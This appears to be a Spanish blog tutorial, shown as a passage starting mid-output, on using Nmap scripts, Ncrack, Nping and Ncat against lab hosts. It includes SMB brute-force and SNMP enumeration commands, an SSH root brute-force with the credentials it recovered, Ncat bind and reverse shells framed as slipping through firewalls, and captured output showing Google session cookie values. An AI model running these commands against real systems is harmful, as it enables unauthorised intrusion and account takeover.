|   Date: Sun, 31 Jul 2011 08:45:15 GMT
|   Server: Apache/2.2.14 (FreeBSD) mod_ssl/2.2.14 OpenSSL/0.9.8k
|   X-Powered-By: PHP/5.2.12
|   Expires: Thu, 19 Nov 1981 08:52:00 GMT
|   Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|   Pragma: no-cache
|   X-Pingback: http://Url/xmlrpc.php
|   Link: <http://wp.me/sxAZ>; rel=shortlink
|   Set-Cookie: PHPSESSID=53fb1aad1603dd1c4cf24e005915375c; path=/
|   Connection: close
|   Content-Type: text/html; charset=UTF-8
|   
|_  (Request type: HEAD)
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
873/tcp  open     rsync
1720/tcp filtered H.323/Q.931
8649/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 13.42 seconds

Montar una combinación de condiciones:

#nmap –script “(default or safe or intrusive) and not http-*”

Podemos buscar presencia de malware.

#nmap –script http-malware-host 10.207.214.10

Starting Nmap 5.51 ( http://nmap.org )                                                                                                       
Nmap scan report for 10.207.214.10                                                                                                                                    
Host is up (0.0084s latency).
Not shown: 987 closed ports                                                                                                                                           
PORT      STATE    SERVICE
135/tcp   open     msrpc
139/tcp   open     netbios-ssn
445/tcp   open     microsoft-ds
912/tcp   open     apex-mesh
990/tcp   filtered ftps
5357/tcp  open     wsdapi
5800/tcp  open     vnc-http
|_http-malware-host: Host appears to be clean
5900/tcp  open     vnc
49152/tcp open     unknown
49153/tcp open     unknown
49155/tcp open     unknown
49156/tcp open     unknown
49163/tcp open     unknown
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)

Nmap done: 1 IP address (1 host up) scanned in 4.29 seconds

#nmap -P0 -n -sS -p445,139 –script=smb-os-discovery.nse 10.207.214.199

Starting Nmap 5.51 ( http://nmap.org)
Nmap scan report for 10.207.214.199
Host is up (0.081s latency).
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:0E:35:0C:XX:XX (Intel)

Host script results:
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   Name: VATSS\SOBRE
|_  System time: 2011-07-29 21:41:47 UTC+2

Nmap done: 1 IP address (1 host up) scanned in 3.18 seconds

#nmap -p53 –script dns-zone-transfer –script-args dnszonetransfer.domain=dominio.com DNS

#nmap -sS -p80 –script=http-enum 10.207.214.16

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.16
Host is up (0.018s latency).
PORT   STATE SERVICE
80/tcp open  http
| http-enum:
|_  /icons/: Potentially interesting folder w/ directory listing

Nmap done: 1 IP address (1 host up) scanned in 197.89 seconds

Para enumerar sesiones y buscar vulnerabilidades SMB:

#nmap –script smb-enum-sessions 10.207.214.199

#nmap -p445 –script=smb-check-vulns 10.207.214.199

Starting Nmap 5.51 ( http://nmap.org )

Nmap scan report for 10.207.214.199
Host is up (0.042s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:0E:35:0C:XX:XX (Intel)

Host script results:
| smb-check-vulns:
|   MS08-067: NOT VULNERABLE
|   Conficker: Likely CLEAN
|   regsvc DoS: CHECK DISABLED (add ‘–script-args=unsafe=1′ to run)
|   SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add ‘–script-args=unsafe=1′ to run)
|   MS06-025: CHECK DISABLED (remove ‘safe=1′ argument to run)
|_  MS07-029: CHECK DISABLED (remove ‘safe=1′ argument to run)

Nmap done: 1 IP address (1 host up) scanned in 13.97 seconds

#nmap -Pn -sT -p445 –script=smb-brute 10.207.214.199

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.199
Host is up (0.0013s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-brute:
|_  No accounts found

#nmap -sU -p161 –script=snmp-netstat 10.207.214.120
#nmap -sU -p161 –script=snmp-win32-services -n 10.207.214.120
#nmap -sU -p161 –script=snmp-win32-shares -n 10.207.214.120
#nmap -sU -p161 –script=snmp-win32-users -n 10.207.214.120

En busca de banners que nos reporten información sobre los servicios corriendo en la máquina.

#nmap -sV –script=banner 10.207.214.199

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.199
Host is up (0.038s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds
3389/tcp open  microsoft-rdp Microsoft Terminal Service
Service Info: OS: Windows

#nmap –script safe,banner 10.207.214.10

Starting Nmap 5.51 ( http://nmap.org )
Pre-scan script results:
| broadcast-upnp-info:
|   10.207.214.10
|       Server: Windows NT/6.0, UPnP/1.0, Jamcast/1.5
|_      Location: http://10.207.214.10:58642/rootdevice.xml
| broadcast-wsdd-discover:
|   Devices
|     10.207.214.10
|         Message id: 3791be30-fb77-4180-b885-c8bf556f338a
|         Address: http://10.207.214.10:5357/0b893c4e-833f-4366-82d5-b5fc01b3b09d
|_        Type: Device pub:Computer
| broadcast-dns-service-discovery:
|   10.207.214.102
|     9/tcp workstation
|_      Address=10.207.214.102 fe80:0:0:0:222:fbff:fe9a:a76c
Nmap scan report for 10.207.214.10
Host is up (0.035s latency).
Not shown: 987 closed ports
PORT      STATE    SERVICE
135/tcp   open     msrpc
139/tcp   open     netbios-ssn
445/tcp   open     microsoft-ds
912/tcp   open     apex-mesh
| banner: 220 VMware Authentication Daemon Version 1.0, ServerDaemonProto
|_col:IPC, MKSDisplayProtocol:VNC ,
990/tcp   filtered ftps
5357/tcp  open     wsdapi
5800/tcp  open     vnc-http
| http-headers:
|   
|_  (Request type: GET)
5900/tcp  open     vnc
| vnc-info:   
|_  ERROR: Unsupported version (RFB 003.006)
|_banner: RFB 003.006
49152/tcp open     unknown
49153/tcp open     unknown
49155/tcp open     unknown
49156/tcp open     unknown
49163/tcp open     unknown

Host script results:
|_smbv2-enabled: Server supports SMBv2 protocol
|_nbstat: NetBIOS name: MASTER, NetBIOS user: <unknown>, NetBIOS MAC: 00:19:db:81:xx:xx (Micro-star International CO.)
| smb-security-mode:
|   Account that was used for smb scripts: <blank>
|   User-level authentication
|   SMB Security: Challenge/response passwords supported
|_  Message signing disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows Vista (TM) Home Premium 6001 Service Pack 1 (Windows Vista (TM) Home Premium 6.0)
|   Name: WORKGROUP\GRUPO
|_  System time: 2011-07-31 11:03:11 UTC+2

Nmap done: 1 IP address (1 host up) scanned in 56.11 seconds

#nmap -P0 -n -sS -p445,139 –script=smb-security-mode.nse 10.207.214.199

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.199
Host is up (0.082s latency).
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:0E:35:0C:XX:XX (Intel)

Host script results:
| smb-security-mode:
|   Account that was used for smb scripts: guest
|   User-level authentication
|   SMB Security: Challenge/response passwords supported
|_  Message signing disabled (dangerous, but default)

Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds

Podemos descargarnos scripts de terceros como vulscan o poder realizar los nuestros propios.

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.199
Host is up (0.040s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
|_vulscan: [67783] Microsoft Windows SDK for Windows 7 / .NET Framework 4 GraphEdit Path Subversion Arbitrary DLL Injection Code Execution
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds
|_vulscan: [67783] Microsoft Windows SDK for Windows 7 / .NET Framework 4 GraphEdit Path Subversion Arbitrary DLL Injection Code Execution
3389/tcp open  microsoft-rdp Microsoft Terminal Service
| vulscan: [11395] F-Secure Anti-Virus for Microsoft Exchange Nested Password Protected Archives Bypass
| [13595] Microsoft Windows Sharepoint Services HTML Redirection XSS
| [42331] Symantec Multiple Products  Symantec Decomposer RAR File Handling Memory Consumption DoS
| [9951] Microsoft Multiple Products  GDIPlus.dll JPEG Processing Overflow
| [5581] Trend Micro ScanMail for Microsoft Exchange Administrative Credential Disclosure
| [9818] F-Secure Anti-Virus For Microsoft Exchange Content Scanner Server Exception Handling DoS
| [10132] Microsoft SQL Server Authentication Function Remote Overflow
| [67783] Microsoft Windows SDK for Windows 7 / .NET Framework 4 GraphEdit Path Subversion Arbitrary DLL Injection Code Execution
| [66992] Microsoft Silverlight Pointer Handling Unspecified Memory Corruption
| [66973] Microsoft XML Core Services Msxml2.XMLHTTP.3.0 ActiveX HTTP Response Handling Memory Corruption
| [66296] Microsoft Office Outlook SMB Attachment Handling Arbitrary Program Execution
| [66294] Microsoft Office Access AccWizObjects ActiveX Remote Code Execution
| [66295] Microsoft IE / Office FieldList ActiveX (ACCWIZ.dll) Remote Code Execution
| [67119] Microsoft Outlook Web Access (OWA) Multiple Function CSRF
| [71017] Microsoft Malware Protection Engine (MMPE) Crafted Registry Key Local Privilege Escalation
| [70444] Microsoft Data Access Components (MDAC / WDAC) MSADO Record CacheSize Handling Remote Code Execution
|_[70443] Microsoft Data Access Components (MDAC / WDAC) ODBC API (odbc32.dll) SQLConnectW Function DSN / szDSN Argument Handling Overflow
MAC Address: 00:0E:35:0C:XX:XX (Intel)
Service Info: OS: Windows

Ejemplos: attackvector
Referencias: SeguridadYRedes
Lista de todos los scripts de la página de nmap.

Podemos representar gráficamente los resultados de un escaneo Nmap con alguna herramienta tal como Afterglow explicada perfectamente en el blog SeguridadYRedes. Abrimos un par de consolas

Consola1

#nmap -sS -P0 -p80 -D 10.207.214.1,10.207.214.2 blog.iurlek.com

Consola2

#tcpdump -i wlan0 host blog.iurlek.com -w captura1.cap

Una vez realizada la captura, ejecutamos los siguientes comandos:

#tshark -nn -r captura.cap -R “tcp” -T fields -E separator=, -e ip.src -e tcp.flags -e ip.dst | sort -u > captura.csv
#cat captura.csv | perl afterglow.pl -c color.properties > captura.dot
#dot -Tpng -o captura.png ./captura.dot

Y obtenemos una representación gráfica tal que:

Podemos modificar el aspecto de la figura a través del fichero color.properties.

Y por último vamos a ver una serie de herramientas con las que el equipo de NMAP complementa a su querido nmap.

Seguro que hemos oido hablar de THC-Hydra o Medusa para realizar ataques de fuerza fruta contra protocolos, pero ahora les empieza a acompañar NCRACK:

Cuando los compilamos vemos que soporta los siguientes protocolos:

g++ -c -I.. -I../nsock/include -I../nbase -I../opensshlib -DHAVE_CONFIG_H  ncrack_ssh.cc -o ncrack_ssh.o
g++ -c -I.. -I../nsock/include -I../nbase -I../opensshlib -DHAVE_CONFIG_H  ncrack_smb.cc -o ncrack_smb.o
g++ -c -I.. -I../nsock/include -I../nbase -I../opensshlib -DHAVE_CONFIG_H  ncrack_rdp.cc -o ncrack_rdp.o
g++ -c -I.. -I../nsock/include -I../nbase -I../opensshlib -DHAVE_CONFIG_H  ncrack_ftp.cc -o ncrack_ftp.o
g++ -c -I.. -I../nsock/include -I../nbase -I../opensshlib -DHAVE_CONFIG_H  ncrack_telnet.cc -o ncrack_telnet.o
g++ -c -I.. -I../nsock/include -I../nbase -I../opensshlib -DHAVE_CONFIG_H  ncrack_http.cc -o ncrack_http.o
g++ -c -I.. -I../nsock/include -I../nbase -I../opensshlib -DHAVE_CONFIG_H  ncrack_pop3.cc -o ncrack_pop3.o
g++ -c -I.. -I../nsock/include -I../nbase -I../opensshlib -DHAVE_CONFIG_H  ncrack_vnc.cc -o ncrack_vnc.o

Veamos un ejemplo de como funciona:

#ncrack -v -p 22 –user root 10.207.214.100 -P passfile

Starting Ncrack 0.4ALPHA ( http://ncrack.org )

Discovered credentials on ssh://10.207.214.100:22 ‘root’ ‘PruebasXX1′
ssh://10.207.214.100:22 finished.

Discovered credentials for ssh on 10.207.214.100 22/tcp:
10.207.214.100 22/tcp ssh: ‘root’ ‘PruebasXX1′

Ncrack done: 1 service scanned in 3.00 seconds.
Probes sent: 1 | timed-out: 0 | prematurely-closed: 0

Ncrack finished.

Del mismo modo puede que hayamos utilizado herramientas como Hping o Scapy para la manipulación de paquetes. Ahora les acompañara (salvando las distancias) una nueva herramienta llamada NPing.

#nping -c 1 –tcp -p 80 url

Starting Nping 0.5.51 ( http://nmap.org/nping
SENT (0.0580s) TCP 10.207.214.102:10496 > 194.30.0.194:80 S ttl=64 id=2498 iplen=40  seq=2810552515 win=1480
RCVD (0.0734s) TCP 194.30.0.194:80 > 10.207.214.102:10496 SA ttl=58 id=34713 iplen=44  seq=1157979279 win=65535 <mss 1460>
nping_event_handler(): READ-PCAP killed: Resource temporarily unavailable
nping_event_handler(): TIMER killed: Resource temporarily unavailable

Max rtt: 15.383ms | Min rtt: 15.383ms | Avg rtt: 15.383ms
Raw packets sent: 1 (40B) | Rcvd: 1 (44B) | Lost: 0 (0.00%)
Tx time: 0.00014s | Tx bytes/s: 279720.28 | Tx pkts/s: 6993.01
Rx time: 0.99960s | Rx bytes/s: 44.02 | Rx pkts/s: 1.00
Nping done: 1 IP address pinged in 1.09 seconds

Y por último quien no ha oido hablar de netcat, la llamada navaja suiza. Si has hecho “buen” uso de ella, puedes estas interesado en una reimplementación en NCat.

Vamos a empezar por ir comentando cosillas…

Para estar escuchando en puerto:
#ncat -l 81
#ncat -l 81 –ssl  (soportando SSL)

Conectarnos a un puerto:

#ncat Server 80
GET / HTTP/1.1

HTTP/1.1 400 Bad Request
Date: Sat, 30 Jul 2011 12:04:39 GMT
Server: Apache/2.2.14 (FreeBSD) mod_ssl/2.2.14 OpenSSL/0.9.8k
Content-Length: 347
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.14 (FreeBSD) mod_ssl/2.2.14 OpenSSL/0.9.8k Server Port 80</address>
</body></html>

Si no se especifica ningun puerto, por defecto escuchara en el  31337

Para conectarnos a una sesión de telnet.
#ncat -t IP 23

Port Forwarding: Rediriguir el trafico del puerto 80 escuchando en la maquina local al puerto 85 de nuestro host

#ncat –sh-exec “ncat mi_host_escuchando 85″ -l 80 –keep-open

Si queremos generar un fichero con la salida:

#ncat -l 10.207.214.102 81 –sh-exec “ncat www.google.com 80 -o salida.txt -x hex.txt

#cat salida.txt
GET http://www.google.es/ HTTP/1.1^M
Host: www.google.es^M
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0^M
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8^M
Accept-Language: en-us,en;q=0.5^M
Accept-Encoding: gzip, deflate^M
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7^M
Proxy-Connection: keep-alive^M
Cookie: PREF=ID=2f2fded6deb705ad:U=6e87479a2f64a990:TM=1308038122:LM=1308063526:S=Ij6trqY9ytNnOBg2; NID=49=JTwIqh6vB1I9flDEmRavtLTljcIE7Hgb3sLcUfLkuu9yJCYBkBFDWNPaUCyHqaWLyHJa1QfWqfAKWQe4u81paMGMxthljh79NL00oVcc75AOAm7f4TfElzqjEtQLgbmz; SID=DQAAALcAAABW9TzgcqxKMWOs4SHEu7S_1Yt5b-SbEdNTaLTN2-SaQsFkj7TbzbADoroohC8y-i0ufsP8ykYH9BMcxbCJa2m_O8G55QB_c3woIWmMME2bHfE6PrK8BwBRgnlkLwm2a1hIG5Ex8j_0QFFpkBFCtkFiz2QwIV8ceGCEy32tGrVqolnsh7mWpntLOurkfE10Cc-kJ6xEPOI-KRt4nFg7oZk1KyGmsI2KYVSCLpcumKXEoZ44rcFe-APGqpijANqUFqI; HSID=AXuk06PCLeeu_oWUf^M

La opción keep-open mantiene la conexion aunque el cliente se desconecte, lo cual es muy interesante.

Podemos generar banners:

#vi banner
#ncat -l 81 < banner

#telnet 10.207.214.10 81
Trying 10.207.214.10…
Connected to 10.207.214.10.
Escape character is ‘^]’.
GET / HTTP/1.1

Podemos añadir funcionalidad de chat.

#ncat -l 74 –chat

Si vamos lanzando conexiones telnet a esa IP/puerto ya tenemos nuestro chat (Y recordar que tenemos SSL)

Nos damos acceso a la shell de Windows solo a nosotros a traves del puerto 81

#ncat –exec “cmd.exe” –max-conns 1 –allow 10.207.214.100/32 -l 81 –keep-open

#telnet 10.207.214.199 81
Trying 10.207.214.199…
Connected to 10.207.214.199.
Escape character is ‘^]’.
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\programas\ncat>dir
dir
El volumen de la unidad C no tiene etiqueta.
El n�mero de serie del volumen es: F876-F0CA

Directorio de C:\programas\ncat
30/07/2011  13:13    <DIR>
…….

Nos pasamos un shell por el puerto 80 que no estara filtrado generalmente en el firewall
Cliente: #ncat 10.207.214.102 80 -e cmd
Server: #ncat -l 80

Microsoft Windows [Versi�n 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  Reservados todos los derechos.

C:\PROGRA~3

Podemos crear un servidor proxy en el puerto 81.

#ncat -l –proxy-type http 10.207.214.10 81

Y si ahora lo queremos con autenticación de user/pass

#ncat -l 81 –proxy-type http –proxy-auth pepe:pepe –ssl –allow 10.207.214.100

Vamos ahora a enviar un fichero a tarves del puerto 81 desde el cliente al servidor.

MAQUINA1# ncat -l 81 > outputfile
MAQUINA2# ncat HOST1 81 < inputfile

Lo mismo pero pasando por una maquina intermedia.

MAQUINA3# ncat -l > log.txt
MAQUINA2# ncat -l | ncat host3
MAQUINA1# ncat –send-only host2 < log.txt

Con encriptación y que solo nos permita enviar

#ncat -l –ssl 81 –send-only < fichero

User Guide NCat

VIDEO: Irongeek

Bueno compañeros, espero os haya gustado… y nos vemos en la próxima. Sed buenos!!.

Enviar a un amigo: Share this page via Email
  1. Domingo, 12 de enero de 2014 a las 05:34 | #1

    La verdad me gusto mucho tu articulo, muy completo. En definitiva muy util.

    Saludos!

  1. Domingo, 14 de octubre de 2012 a las 20:55 | #1
*